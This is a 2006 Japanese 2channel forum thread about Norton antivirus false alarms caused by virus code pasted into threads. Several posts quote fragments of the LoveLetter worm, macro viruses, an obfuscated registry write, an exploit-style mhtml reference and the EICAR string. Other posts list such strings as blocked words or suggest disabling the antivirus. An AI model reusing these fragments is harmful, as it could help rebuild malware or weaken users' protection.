・２ちゃんねる専用ブラウザの読み込み禁止単語機能に、 「v bs」、「O nload」、「o nload」、「=w indow」、「L OVE-LETTER」、「M acro」、「n osuch」、「E ICAR-STANDARD-ANTIVIRUS-TEST」 などの 単語を登録しておきましょう。（※ 単語の途中一箇所スペース空けてるんで詰めて登録して下さい） ・各専用ブラウザのスレッド情報も参照して下さい。 ・NIS(NPF)のファイアーウォールを誤作動させるコード文字列に関して → 応急対策を参照 ・タスクトレイのノートンアイコンをクリック → NISを無効にする (5分) → NIS無効中に専用ブラウザでスレッドをリロード取得 → NISを有効に戻す （※この方法でもNPFトラップ回避可能） ■いきいき Wiki　-　ノートンインターネットセキュリティに関するＦＡＱ info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq00 667 名前：ひよこ名無しさん mailto:sage [2006/09/13(水) 18:00:04 ID:???] Norton Anti Virus 2003です。 >専用ブラウザのログ保存フォルダを「除外」に設定。 オプション→Norton Anti Virus→除外→新規→項目→フォルダが開いているアイコン→フォルダの参照から２ｃｈブラウザのログ保存フォルダを選んでクリック→項目のＯＫをクリック。 >◆2004/2003はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をしてください。 手動で探しても、ウイルスソースが貼られたログは自動的に破棄されてしまっているので.datを選択することができません。idxだけ保存されていますが除外しても変わりなしです。 どうすれば見れるようになりますか？ 668 名前：ひよこ名無しさん mailto:sage [2006/09/14(木) 18:29:19 ID:???] >>667 自分が引用してる文章をよく読めばわかるだろうが datやidxなどの「ファイル」を除外するのではない 「フォルダ」を正しく除外していればログが自動的に破棄されることはない 669 名前：ひよこ名無しさん mailto:sage [2006/09/14(木) 20:59:51 ID:???] >>668 言われてやっと気付きました。ありがとうございます 670 名前：ひよこ名無しさん mailto:sage [2006/09/14(木) 22:06:23 ID:???] Norton Anti Virus 2004を使用しています。 手動スキャンとAuto-ProtectでLogフォルダの除外と ttp://mickey.mirv.net/2chnis.html ←の対処はしてありますが、 たまーに一部のウイルスソースに引っかかってしまいます。 そうなると、しばらくインターネットセキュリティを無効ししないとならなくなります。 例えば最近だと、下記のウイルスソースです。 両方なのか、片方なのか分かりませんがウイルス警告がでます。 対処方法はありますか？ 671 名前：670 mailto:sage [2006/09/14(木) 22:06:56 ID:???] <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) 672 名前：670 mailto:sage [2006/09/14(木) 22:07:27 ID:???] G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "＼" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 673 名前：670 mailto:sage [2006/09/14(木) 22:08:40 ID:???] といった感じのものです。 671か672かは分かりませんがノートンが反応してしまいます。 674 名前：670 mailto:sage [2006/09/14(木) 22:20:18 ID:???] 今やってみたのですが671と672ではノートンは反応しませんでした。 すいません、他のやつだったのかな？ 675 名前：ひよこ名無しさん mailto:sage [2006/09/14(木) 23:24:15 ID:???] >>673-674 貼るな 他人の迷惑も考えろ。 676 名前：<body onload=window()> mailto:<body onload=window()> [2006/09/14(木) 23:57:48 ID:???] G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "＼" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 677 名前：670 mailto:sage [2006/09/15(金) 09:02:47 ID:???] >>675 スマン >>676だと何にも反応しないんだよな 反応するときはなんなのかな？ 678 名前：ひよこ名無しさん mailto:sage [2006/09/15(金) 12:41:38 ID:???] >>677 下から二行目 679 名前：ひよこ名無しさん [2006/09/16(土) 04:32:07 ID:uZM1h+BC] Norton Anti Virus2003でWinXP/IE6。Live2chです。 ノートン入れたら〜のWikiを見て、 Norton AntiVirusのオプション→システム＞Auto-Protect＞除外→C:\Program Files\Live2ch\logフォルダを追加。 手動スキャンにも同じようにログを除外しました。 ですが専ブラを再起動させてみてもログを取得し直して見ても、このスレや他にウイルスが貼られているスレでもウイルス警告が出てきます。 間違っていないと思うのですがどうしてでしょうか…。教えてください。 680 名前：ひよこ名無しさん mailto:sage [2006/09/16(土) 05:02:15 ID:???] >>679 >>643 辺りの件は対策しましたか？ NAVでも誤反応します。 681 名前：679 mailto:sage [2006/09/16(土) 05:06:27 ID:???] すみません解決です 除外指定するのはlog保存フォルダじゃなくインストールフォルダ自体のことだったんですね >>680 ありがとうございます 参考になりました 682 名前：ひよこ名無しさん mailto:sage [2006/09/17(日) 06:36:54 ID:???] 携帯厨よけの誤反応作ってくれ スレが携帯からのガキだらけで機能しなくなっちまった 683 名前：ひよこ名無しさん mailto:sage [2006/09/26(火) 11:45:24 ID:???] 2007では対応したの？ 684 名前：ひよこ名無しさん mailto:sage [2006/09/30(土) 14:45:45 ID:???] test 685 名前：ひよこ名無しさん mailto:sage [2006/10/01(日) 12:02:45 ID:???] >658ﾀｿのをしても反応するし２ちゃんねるのIPアドレスを除外 しても設定しても反応するし>17ﾀｿのﾌﾟﾛｸﾞﾗﾑは問題があるとかで 途中で動かなくなるしでハラ立ってきたんで ワーム防止を黙らせたった(ノ｀□´)ノ≡≡≡≡≡≡≡≡┻━┻ 686 名前：ひよこ名無しさん [2006/10/02(月) 08:02:14 ID:q3VL2ORv] 管理者がサクージョ＆規制すればいい。 専ブラ使ってる漏れとしては迷惑。 687 名前：ひよこ名無しさん mailto:sage [2006/10/04(水) 04:23:42 ID:???] >>686 誤反応するような不便なソフトは 淘汰されて滅びたほうがいい、という考え方らすい 688 名前：ひよこ名無しさん mailto:sage [2006/10/04(水) 06:54:44 ID:???] test 689 名前：cen ◆Am9xOgNMYE mailto:sage [2006/10/05(木) 00:10:23 ID:???] >>17のソフトですが、バージョンが2.00になりました。 www.geocities.jp/cen_hp/program3.html >>685 どういう状況か教えてもらえますか？ 690 名前：ひよこ名無しさん [2006/10/05(木) 15:00:29 ID:Qin047IX] ノートン使えねえから今日からバスターにしましたぁ 691 名前：ひよこ名無しさん mailto:sage [2006/10/05(木) 16:59:52 ID:???] >>689 GUIになったのはいいけど.NET Frameworkが必要なければもっとよかったなぁ。 PCがしょぼいからできるだけ余計なものは入れたくないんだよね。 ウチでは古いバージョンの方を使わせてもらうことにします。 692 名前：cen ◆Am9xOgNMYE mailto:sage [2006/10/06(金) 01:17:30 ID:???] >>691 使っていただいてありがとうです。 .NET Frameworkを使わない前のバージョンの方が起動 が早いですね。 まあ、Visual C#で割と楽にGUIが作れるいうのが理由です＾＾； 693 名前：キーワード mailto:sage [2006/10/06(金) 02:48:50 ID:???] <body onload=window()> eip = eip + unescape("%u7030%u4300") p + w * 10 <br> End Sub <br> LOVE-LETTER-FOR-YOU dirsystem&"\MSKernel32.vbs ms-its:mhtml:file://C: its:mhtml:file://c:\ ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines kak.hta';ken=wd+'ST Set A4 = A1.CreateTextFile(A1.BuildPath ToInfect.CodeModule.InsertLines BGN 694 名前：ひよこ名無しさん mailto:sage [2006/10/06(金) 03:37:15 ID:???] >>693　キーワード　NGワード 695 名前：ひよこ名無しさん mailto:sage [2006/10/06(金) 18:12:11 ID:???] ウィルスコードの適当な文字をNGワードに設定しとくとかじゃダメなの？ スレッドをダウンロードするからNGワードとか無意味？ 696 名前：ひよこ名無しさん mailto:sage [2006/10/06(金) 20:46:48 ID:???] 大空寺系には反応しなくなったけど、 OnLoad Rte CodeExec なんとかならんかなぁ 697 名前：ひよこ名無しさん mailto:sage [2006/10/07(土) 12:12:01 ID:???] あほ 698 名前：ひよこ名無しさん mailto:sage [2006/10/07(土) 23:00:36 ID:???] ほす 699 名前：ひよこ名無しさん mailto:sage [2006/10/08(日) 00:17:50 ID:???] いい加減ウザくなったしどうせ更新時期だったからノートン先生からバスターに切り換えてみた。 確かに反応はしなくなったけど、何らかの不都合ってあるのかな。 700 名前：ひよこ名無しさん mailto:sage [2006/10/08(日) 01:30:54 ID:???] どなたかマカフィ誤作動の解除方法教えてください。 701 名前：ひよこ名無しさん mailto:sage [2006/10/12(木) 00:38:44 ID:???] ノートン先生がもうすぐ更新なんですが、 なんか、うっとうしいから今度は別のメーカーにしたいのですが・・・お勧め教えてください。 ちなみに、なぜか、Ｃドライブの空きは８％ぐらいしかない とんでもないＰＣです。 702 名前：経営学部の学生 ◆2H3Xipoq6Y mailto:sage [2006/10/12(木) 04:12:22 ID:???] 個人的にはジャストシステムから11月に発売のカスペルスキー６かな？ いまライフボートから出てるカスペルスキー５を買っても６が出たらアップデートできるみたいだし 703 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 04:39:42 ID:???] Norton　Anti Virus2006を使っています。 >>658の操作中、「現在、AutoBlockで遮断しているコンピュータ」 のところに何もアドレス等が載ってないのですが どうすればこの先誤反応解除の操作を進められるんでしょうか。 704 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 09:16:01 ID:???] >>703 専用ブラウザのフォルダごと全て除外にしたら俺は止まったよ 同じNorton　Anti Virus2006だけど 705 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 09:28:32 ID:???] >>703 なにも載ってないってことは 丁度そのときに遮断されてないのだから解除する必要はない。 前半の設定ができていれば問題ないのでは？ >>704 その設定で止まるやつと インターネットワームの誤反応とは別物だよ。 706 名前：ひよこ名無しさん [2006/10/13(金) 12:10:09 ID:yCzxUbTg] ノートンがVBS.Freelink.Bというウイルスに反応したのですが、 ウイルス警告のウインドウが消しても消しても出てきます。 どうすればいいのでしょうか？ 707 名前：ひよこ名無しさん [2006/10/13(金) 15:07:54 ID:cPKv8TOO] NIS2006 winSP sp2 ２ｃｈスレ読み込んだら「コンピュータを攻撃するうんぬん」ってメッセージが出てその板が一定期間 アクセス不可になる現象。回避策ある？ 708 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 15:15:38 ID:???] ちなみにmickey.mirv.net/2chnis.htmlにはNIS２００６の対象砲は書いてない、、＞＜ 709 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 17:48:31 ID:???] ane doe style2.41　WinXPsp2使用 Norton Internet Security2004　Norton AntiVirus2004使用 Jane doe style2.41のログを除外しているのですが ウイルスコードが貼られてる板を開くと 「エラー」と表示され、ログを取得できません それで、いつもNorton Internet Security2004を無効にして その板を開くと、思ったとおりウイルスコードが張られています この状態になると、何分間か、その板を開く事が出来なくなります ログの除外をしているのに、なぜこうなるのでしょうか？ 710 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 19:22:08 ID:???] >>709 設定を間違ってる 711 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 19:57:21 ID:???] >>710 C\Program Files\Jane Style\Logs\2ch なんですが、間違ってるのでしょうか？ 712 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 21:08:55 ID:???] 経営学部の学生さん>>701です。 ありがとうございました。 １１月まではノートン先生が頑張ってくれそうなので、 その後の購入の参考にします。 713 名前：ひよこ名無しさん mailto:sage [2006/10/13(金) 23:09:01 ID:???] >>709 一定時間板が開けなくなる件の誤反応はログフォルダ除外では対応できません。 ２ｃｈを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて ２ｃｈを見れなくなってしまう問題のまとめページ。 mickey.mirv.net/2chnis.html NAVの人は下記スレの698辺りから参照 ノートン誤作動対策本部 qb5.2ch.net/operate/kako/1133/11331/1133161720.html >>707 NIS2006はよくわからないけど上のリンクとスレ参考にしる。 714 名前：ひよこ名無しさん mailto:sage [2006/10/14(土) 00:28:20 ID:???] >>713 ありがとうございます。 教えて頂いたmickey.mirv.net/2chnis.htmlを やってみて、まただめな様なら また来ます。ありがとうございました。 715 名前：ひよこ名無しさん mailto:age [2006/10/14(土) 14:20:25 ID:???] ノートンが反応して、偽ウイルスを削除した場合 何かPCに問題は起こるんですか？ 716 名前：715 mailto:age [2006/10/14(土) 14:25:05 ID:???] ウイルスを削除というか、駆除できずにファイル（？）ごと削除してるんですけど。。。 ご指導お願いします。 717 名前：ひよこ名無しさん mailto:sage [2006/10/14(土) 14:35:27 ID:???] >>715 起こらない >>716 2chのログファイル、またはIEキャッシュファイルを監視対象から除外 718 名前：715 mailto:age [2006/10/14(土) 14:41:13 ID:???] >>717 ありがとうございます。 具体的には、何を削除しているのでしょうか。 例えば、以下のようなものが削除されてしまいます。 Documents and Settings \ 名前 \ Local Settings \ Temporary Internet Files \ Content IES \ SOUTTMDI2 \ l50[1].htm 719 名前：ひよこ名無しさん mailto:sage [2006/10/14(土) 17:15:19 ID:???] >>718 IEキャッシュファイル 720 名前：715 mailto:age [2006/10/14(土) 19:03:51 ID:???] てことは削除されてもまったく問題ないんですよね？ ありがとうございました！ 721 名前：ひよこ名無しさん mailto:sage [2006/10/16(月) 19:13:08 ID:???] VShieldを有効にするってどうしたらいいんですか？ 722 名前：ひよこ名無しさん mailto:sage [2006/10/17(火) 12:47:03 ID:???] >>257 自分も>>259さんと同じで こういうの貼られてたら、暫く板が開けなくなります・・ 【質問】 １：ノートン使って専ブラで見ている人は、みんな実行しているのでしょうか？ ２：そこでやはり↓のサイトの対処法をしないといけないのでしょうか？ 　ttp://mickey.mirv.net/2chnis.html いまいち、やるのが怖くて躊躇しているのですが・・ （ウイルスとかが） WinXPsp2 Jane doe style2.41を使っています 723 名前：ひよこ名無しさん mailto:sage [2006/10/17(火) 20:07:44 ID:???] 別に怖いことないと思うが。 設定の意味がわからないとか漠然とした不安があるのでしょうか。 抵抗があるなら>>689にある誤反応スクリプト無効化ソフトを使って その都度対処すれば良いと思います。 724 名前：ひよこ名無しさん mailto:sage [2006/10/17(火) 23:17:55 ID:???] 実行しなければ自分が不便な思いをするだけ 不便でも構わない、 危険はないと説明されても納得できない、 とにかく怖いというなら好きにすれば？ 725 名前：ひよこ名無しさん mailto:sage [2006/10/22(日) 10:00:55 ID:???] 保守 726 名前：ひよこ名無しさん [2006/10/28(土) 17:40:52 ID:RthPMJHm] 2007は誤反応しなくなったんですか？ エロイ人教えて 727 名前：ひよこ名無しさん mailto:sage [2006/11/03(金) 06:52:18 ID:???] 保守 728 名前：私立の中学生 ◆N30ctwWJLw mailto:sage [2006/11/04(土) 20:07:16 ID:???] バスターという最高のアンチウィルスがありながらどうして人はノートンを選ぶんだろう 729 名前：ひよこ名無しさん mailto:sage [2006/11/05(日) 03:48:08 ID:???] 最高のアンチウィルスｗ 730 名前：ひよこ名無しさん mailto:age [2006/11/07(火) 01:49:05 ID:???] 誘導 731 名前：ひよこ名無しさん mailto:sage [2006/11/07(火) 12:15:11 ID:???] >>728 バスターはOSを起動できなくしたという前科があるからいまいち信用できない。 732 名前：ひよこ名無しさん [2006/11/13(月) 16:36:48 ID:286EntMo] >>728 >>731 前科どころか、2007は起動時にOSごとフリーズさせる実績があるから たとえ誤反応が多くても、農豚をオススメする。 733 名前：ひよこ名無しさん [2006/11/16(木) 10:01:34 ID:ajN9y2Qm] なんかメジャーじゃない誤反応ソースないかなー 734 名前：ひよこ名無しさん mailto:sage [2006/11/16(木) 10:40:15 ID:???] www.google.co.jp//////////index.html 735 名前：ひよこ名無しさん mailto:sage [2006/11/17(金) 10:54:47 ID:???] ノートンのウィルス誤反応警告の表示警告がここ2、3日で変わったのは自分だけ？ 念のためにプロバイダサービスによるマカフィーも使って調べても、 ウィルスなど異常が見受けられなかったのに。 736 名前：ひよこ名無しさん mailto:sage [2006/11/18(土) 14:53:59 ID:???] 恵比寿視力回復研究所八王子クリニック大塚美容形成外科・歯科今泉ハートクリ ニック朝日大学歯学部附属村上記念病院加藤内科クリ ニックあんのうらクリニック今津赤十字病院佐賀県立病院好生館安芸市民病院お きた内科クリニックしお医院静岡県立総合病院相生山 病院愛知県がんセンターあきしまクリニック岩崎病院高茶屋診療所国立病院機構 三重中央医療センター井上記念病院小倉台柏戸クリニ ックうたせメディカルクリニックたちばな台病院青葉台病院恵比寿視力回復研究 所八王子クリニック大塚美容形成外科・歯科今泉ハー トクリニック朝日大学歯学部附属村上記念病院加藤内科クリニックあんのうらク リニック今津赤十字病院佐賀県立病院高月整形外科好 生館安芸市民病院おきた内科クリニックしお医院静岡県立総合病院相生山病院愛 知県がんセンターあきしまクリニック岩崎病院高茶屋 診療所国立病院機構三重中央医療センター井上記念病院小倉台柏戸クリニックう たせメディカルクリニック橋本内科医院市立芦別病院 北海道立本岐こじま内科額賀医院よこぎ内科胃腸科クリニック平中央医院いわき 市国民健康保険田人診療所中野中央病院佐藤医院野崎 整形外科医院高木医院木村クリニック洋向台クリニックくさの内科・眼科すけが わ内科クリニック額賀医院草野医院下遠野内科胃腸科 737 名前：ひよこ名無しさん [2006/12/18(月) 04:28:15 ID:X+EF3ZXu] 昨夜から急にanime鯖だけ繋がらなくなりました。 原因を探していたら、このスレを見つけたので質問させて下さい。 使用ソフト、NortonAntiVirus2006 2ch閲覧環境、IE6.0とOpenJane 症状、anime鯖の閲覧不可 専ブラでのエラー報告、SocketError#10065　Norou te to host. 誤反応スクリプト無効化ソフト導入と除外設定は済ませています。 試しにAuto-Protectをオフにしてみたのですが、それでも閲覧できませんでした。 どうすれば問題を解決できるんでしょうか。どなたかアドバイスお願いしますorz 738 名前：737 mailto:sage [2006/12/18(月) 05:25:17 ID:???] 自己解決しました 30分規制にかかっていただけみたいです 739 名前：ひよこ名無しさん [2006/12/19(火) 05:26:43 ID:PWq98QOy] ログフォルダは除外していたのですが、2chのスレを開いてて ウィルス警告が出たので、またいつもの誤反応だと思い。 Temporary Internet Filesをスキャンしたら1158448744[1].htm にVBS.Freelink.B が見つかって「検疫」「削除」をしても駆除できません。 これもただの誤反応なのでしょうか？ 740 名前：ひよこ名無しさん mailto:sage [2006/12/19(火) 17:32:58 ID:???] ただの誤反応です 専ブラではなくIEでスレッドを閲覧したのが原因で、 >>1に書いてある通り、別に心配ありません Temporary Internet Filesを除外したりしてはいけません (>>1以下、テンプレの各リンク先もよく読みましょう) 741 名前：ひよこ名無しさん mailto:sage [2006/12/20(水) 18:18:36 ID:???] ノートンを2007に更新したらいろいろ探してもノートントラップを防ぐための セキュリティから除外する方法がわからないんですが、どうやってノートントラップを防げばいいんですか？ 742 名前：ひよこ名無しさん mailto:sage [2006/12/20(水) 20:25:49 ID:???] これは？ pc8.2ch.net/test/read.cgi/sec/1165936988/12

---

---

[ 新着レスの取得/表示 (agate) ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef